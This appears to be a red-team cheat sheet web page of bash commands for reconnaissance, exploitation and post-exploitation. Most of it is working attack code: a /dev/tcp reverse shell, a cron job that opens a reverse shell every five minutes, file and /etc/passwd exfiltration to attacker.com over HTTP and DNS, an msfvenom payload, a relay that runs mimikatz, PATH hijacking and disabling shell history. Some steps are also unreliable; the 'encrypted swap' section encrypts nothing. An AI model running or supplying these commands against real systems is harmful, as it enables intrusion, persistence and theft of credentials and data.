Tools

Unit731, a haven for Red Team experts, penetration testers, and cybersecurity enthusiasts who demand depth and sophistication from NTcsr. This guide delves into advanced Bash-driven techniques, leveraging the full power of Linux utilities, custom scripts, and system-level manipulations.

Red Team Updates and Enhancements

1. Resolving THP-VM Extraction Issues

For those facing tarball extraction issues:

  • Validate archive integrity: 
    sha256sum THP-VM.tar.gz
  • Use robust extraction tools: 
    tar --extract --verbose --gzip --file=THP-VM.tar.gz --directory=/opt

2. Correcting Web Lab URLs

Automate URL correction in your documentation with sed:

sed -i 's|old-link.com/lab.txt|github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt|g' ~/lab_notes.txt

3. Knockpy with Custom Wordlists

Enhance domain reconnaissance by dynamically generating subdomain lists:

cat /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt | knockpy --file=- cyberspacekittens.com

4. Slurp GitHub Repository Recovery

Recover and configure Slurp from Archive.org:

wget https://archive.org/download/github.com-bbb31-slurp/slurp.tar.gz
tar -xvf slurp.tar.gz -C /opt
export GOPATH=/opt/slurp
cd /opt/slurp && go build

5. Mimikatz PowerShell Workaround

Bypass Windows 10 restrictions with a Bash-initiated SMB relay:

sudo responder -I eth0 -rPw
impacket-smbrelayx -tf victimIP -c "powershell -exec bypass -f mimikatz.ps1"

 

Advanced Kali Linux Configuration

1. Customizing the Kali Environment

Set up your Kali system for stealth and efficiency:

  • Spoof Hostname and MAC Address: 
    echo "phantom" > /etc/hostname
sed -i 's/kali/phantom/g' /etc/hosts
macchanger -r eth0
  • Optimize Bash Profile: 
    echo "alias ll='ls -la'" >> ~/.bashrc
echo "export HISTFILE=/dev/null" >> ~/.bashrc
source ~/.bashrc

2. Encrypted Swap for Stealth

Encrypt swap space to protect sensitive data:

swapoff -a
dd if=/dev/urandom of=/swapfile bs=1M count=2048
mkswap /swapfile
swapon /swapfile
chmod 600 /swapfile

 

Advanced Reconnaissance with Bash

1. Subdomain Enumeration

Leverage dig and awk for subdomain enumeration:

for sub in $(cat subdomains.txt); do
  dig +short $sub.cyberspacekittens.com | awk '{print $1}'
done

2. Network Scanning

Efficient network mapping with nmap and awk:

nmap -p- -sV 192.168.1.0/24 | awk '/open/ {print $1, $NF}'

3. SSL/TLS Certificate Analysis

Extract and analyze certificate details:

echo | openssl s_client -connect target.com:443 2>/dev/null | openssl x509 -text

 

Advanced Exploitation Techniques

1. SSH Tunneling

Create a dynamic SOCKS proxy for pivoting:

ssh -D 9050 -q -C -N user@victim.com
export http_proxy="socks5://127.0.0.1:9050"

2. Reverse Shell Obfuscation

Generate an undetectable reverse shell payload:

bash -c '0<&196;exec 196<>/dev/tcp/attackerIP/4444; sh <&196 >&196 2>&196'

3. Memory Dump Extraction

Extract process memory for forensic analysis:

gcore $(pgrep -f process_name)
strings core.* | grep "password"

 

Post-Exploitation with Bash

1. File Exfiltration

Compress and exfiltrate sensitive files via HTTP:

tar czvf - /sensitive/files | curl -X POST http://attacker.com/upload --data-binary @-

2. Crontab Persistence

Create a stealth backdoor using cron jobs:

echo "*/5 * * * * bash -i >& /dev/tcp/attackerIP/4444 0>&1" | crontab -

3. Environment Hijacking

Hijack environment variables for persistence:

echo 'export PATH=/malicious/bin:$PATH' >> /etc/profile

 

Tools for Advanced Red Teamers

1. Custom Payload Generator

msfvenom -p linux/x64/shell_reverse_tcp LHOST=attackerIP LPORT=4444 -f elf > payload.elf

2. DNS Exfiltration

Utilize dig for covert data exfiltration:

cat /etc/passwd | while read line; do
  dig @dns_server txt "$line.attacker.com"
done

3. Advanced Packet Capture

Capture and filter packets in real-time:

tcpdump -i eth0 port 80 -w packets.pcap

 

Printer Exploitation with PraedaSploit

Printers often harbor exploitable vulnerabilities. Use the following advanced techniques:

praedasploit --target printerIP --exploit rce

Analyze captured data for admin credentials:

strings output.txt | grep "admin"
Mastering these techniques example requires practice, innovation, and a deep understanding of system internals. Stay ahead with constant learning and exploration.

For unparalleled insights, visit NorthernTribe Insider. 

Stay secure, NorthernTribe!

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